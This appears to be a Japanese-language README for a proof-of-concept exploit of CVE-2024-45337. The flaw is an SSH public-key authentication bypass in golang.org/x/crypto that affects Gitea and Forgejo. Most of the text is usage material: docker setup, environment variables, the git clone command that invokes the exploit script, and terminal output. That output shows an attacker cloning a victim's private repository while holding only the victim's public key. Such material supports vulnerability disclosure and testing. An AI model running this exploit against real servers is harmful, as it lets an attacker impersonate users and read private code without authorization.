
Gitea および Forgejo に対する CVE-2024-45337 の概念実証
このリポジトリには、CVE-2024-45337 の概念実証エクスプロイトが含まれています。
これは、golang.org/x/crypto <= v0.30.0 を使用して実装され、ServerConfig.PublicKeyCallback コールバック内で権限を安全でない方法でキャッシュしている SSH サーバーとやり取りする際に、ssh をラップするために使用できます。
Gitea <= 1.22.4 および Forgejo <= 7.0.11、9.0.2 は、内部 SSH サーバーを使用してホストされている場合に脆弱です。対象アカウントに関連付けられた公開鍵を 1 つでも知っていれば、任意のユーザーになりすますことができます。ssh 認証に使用する自分のアカウントが必要です。
docker compose -f docker-compose.forgejo.yml up -d
victim ユーザーを登録します
important_repo という名前のプライベートリポジトリを作成し、README 付きの初期コミットを生成して、クローンできるようにしますattacker ユーザーを登録します
GIT_ATTACK_PRIVKEY に有効なアカウントの秘密鍵へのパスを設定しますGIT_ATTACK_PUBKEY に、対象となる別アカウントの既知の公開鍵へのパスを設定します。そのアカウントの秘密鍵は不明です。GIT_SSH にエクスプロイトスクリプトへのパスを設定して、git がネイティブの ssh コマンドの代わりにこれを使用するように指示しますGIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
クローン時に鍵を指定するには .ssh/config を使用します
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
上記のようにセットアップしたローカルの Forgejo 7.0.11 コンテナに対して実行します。
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.